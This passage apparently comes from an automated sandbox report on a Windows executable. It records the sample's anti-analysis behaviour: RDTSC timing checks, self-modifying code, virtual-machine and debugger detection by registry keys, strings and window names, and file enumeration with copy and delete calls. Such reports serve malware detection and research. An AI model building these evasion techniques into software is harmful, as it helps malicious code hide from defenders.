                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11DF190 second address: 11DF194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11DF194 second address: 11DF1BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325AC5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 jbe 00007FBF09325AB6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11DF1BE second address: 11DF1C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11DF1C3 second address: 11DF1C8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11DF4AC second address: 11DF4BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11DF4BC second address: 11DF4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11DF4C2 second address: 11DF4C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11DF644 second address: 11DF66A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBF09325AC7h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jl 00007FBF09325AB6h 0x00000015 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11DF66A second address: 11DF66E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11DF79C second address: 11DF7A1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11E001F second address: 11E002B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11E3B0A second address: 11E3B27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FBF09325ABCh 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1122D2E second address: 1122D41 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 js 00007FBF08D33346h 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11EA525 second address: 11EA533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBF09325AB6h 0x0000000a pop esi 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11EA533 second address: 11EA553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF08D33353h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FBF08D33346h 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11EA6B6 second address: 11EA6C2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jl 00007FBF09325AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11EA839 second address: 11EA83D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11ECF55 second address: 11ECF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11FA652 second address: 11FA666 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33350h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11FA666 second address: 11FA672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11FA672 second address: 11FA676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11FA676 second address: 11FA6A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007FBF09325AC9h 0x0000000f pop ebx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11FA6A6 second address: 11FA6AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11FA6AD second address: 11FA6B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11FA6B3 second address: 11FA6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBF08D3334Ch 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11FCCB3 second address: 11FCCBF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11FCCBF second address: 11FCCC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11FC878 second address: 11FC887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FBF09325AB8h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11FC887 second address: 11FC89E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Dh 0x00000007 jnl 00007FBF08D3334Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1202620 second address: 1202624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1202624 second address: 120262A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1214961 second address: 1214965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1214965 second address: 1214977 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 121360E second address: 1213621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBF09325ABCh 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1213770 second address: 121378C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33355h 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 121378C second address: 12137C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FBF09325AC6h 0x00000011 pop edx 0x00000012 push eax 0x00000013 jmp 00007FBF09325AC0h 0x00000018 jbe 00007FBF09325AB6h 0x0000001e pop eax 0x0000001f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1213A61 second address: 1213A70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1213A70 second address: 1213A75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1213A75 second address: 1213A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1218727 second address: 121872B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12182CF second address: 12182D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 121843B second address: 1218469 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC2h 0x00000007 jmp 00007FBF09325AC5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1221ED2 second address: 1221ED7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1221ED7 second address: 1221EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1221EDD second address: 1221EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF08D33356h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1221EFB second address: 1221F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBF09325AB6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12349BC second address: 12349C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12349C4 second address: 12349CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 124485B second address: 1244868 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push ebx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1244868 second address: 1244881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325AC1h 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1243744 second address: 124377F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jc 00007FBF08D33346h 0x0000000d pop ecx 0x0000000e pushad 0x0000000f jmp 00007FBF08D33354h 0x00000014 pushad 0x00000015 je 00007FBF08D33346h 0x0000001b jnl 00007FBF08D33346h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 jnl 00007FBF08D33346h 0x0000002c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 124377F second address: 124378C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBF09325AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1243D47 second address: 1243D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1244195 second address: 124419C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 124419C second address: 12441AE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBF08D3334Ch 0x00000008 jl 00007FBF08D33346h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12441AE second address: 12441BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FBF09325ABEh 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12442F4 second address: 1244302 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FBF08D3334Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1244302 second address: 124430E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1245F36 second address: 1245F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D3334Bh 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1245F45 second address: 1245F49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 124A67C second address: 124A6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jns 00007FBF08D33346h 0x00000014 jng 00007FBF08D33346h 0x0000001a popad 0x0000001b jmp 00007FBF08D33355h 0x00000020 popad 0x00000021 mov eax, dword ptr [esp+04h] 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 124A6B6 second address: 124A6BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 52D0502 second address: 52D0543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF08D3334Ah 0x00000009 popad 0x0000000a pushfd 0x0000000b jmp 00007FBF08D33352h 0x00000010 and ecx, 2B690F98h 0x00000016 jmp 00007FBF08D3334Bh 0x0000001b popfd 0x0000001c popad 0x0000001d push eax 0x0000001e pushad 0x0000001f mov cx, dx 0x00000022 push eax 0x00000023 push edx 0x00000024 mov edi, 712ECF74h 0x00000029 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 52D0543 second address: 52D0551 instructions: 0x00000000 rdtsc 0x00000002 mov ah, bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov esi, ebx 0x0000000d popad 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 52D0551 second address: 52D056A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D33355h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 52D056A second address: 52D056E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 52D056E second address: 52D058C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FBF08D3334Dh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 52D058C second address: 52D0590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 52D0590 second address: 52D0594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 52D0594 second address: 52D059A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116E87F second address: 116E885 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Tries to evade debugger and weak emulator (self modifying code)
                Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: FBB28E instructions caused by: Self-modifying code
                Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: FBDC01 instructions caused by: Self-modifying code
                Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 11F1E6D instructions caused by: Self-modifying code
                Source: C:\Users\user\Desktop\file.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDescJump to behavior
                Source: C:\Users\user\Desktop\file.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersionJump to behavior
                Source: C:\Users\user\Desktop\file.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersionJump to behavior
                Source: C:\Users\user\Desktop\file.exeEvaded block: after key decisiongraph_0-39155
                Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE40F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,0_2_00CE40F0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDE530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,0_2_00CDE530
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE47C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,0_2_00CE47C0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDF7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00CDF7B0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CD1710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00CD1710
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDDB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,0_2_00CDDB80
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE4B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00CE4B60
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE3B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,0_2_00CE3B00
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDBE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,0_2_00CDBE40
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDEE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,0_2_00CDEE20
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDDF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00CDDF10
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CD1160 GetSystemInfo,ExitProcess,0_2_00CD1160
                Source: file.exe, file.exe, 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: HARDWARE\ACPI\DSDT\VBOX__
                Source: file.exe, 00000000.00000002.2091636092.00000000015C2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWP
                Source: file.exe, 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMwareVMware
                Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091636092.00000000015F3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                Source: file.exe, 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37967
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37970
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37987
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37982
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-38022
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37856
                Source: C:\Users\user\Desktop\file.exeSystem information queried: ModuleInformationJump to behavior
                Source: C:\Users\user\Desktop\file.exeProcess information queried: ProcessInformationJump to behavior

                Anti Debugging

                barindex
                Hides threads from debuggers
                Source: C:\Users\user\Desktop\file.exeThread information set: HideFromDebuggerJump to behavior
                Tries to detect sandboxes and other dynamic analysis tools (window names)
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: regmonclass
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: gbdyllo
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: procmon_window_class
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: ollydbg
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: filemonclass
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
                Source: C:\Users\user\Desktop\file.exeFile opened: NTICE
                Source: C:\Users\user\Desktop\file.exeFile opened: SICE
                Source: C:\Users\user\Desktop\file.exeFile opened: SIWVID
                Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CD4610 VirtualProtect ?,00000004,00000100,000000000_2_00CD4610
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE9BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00CE9BB0
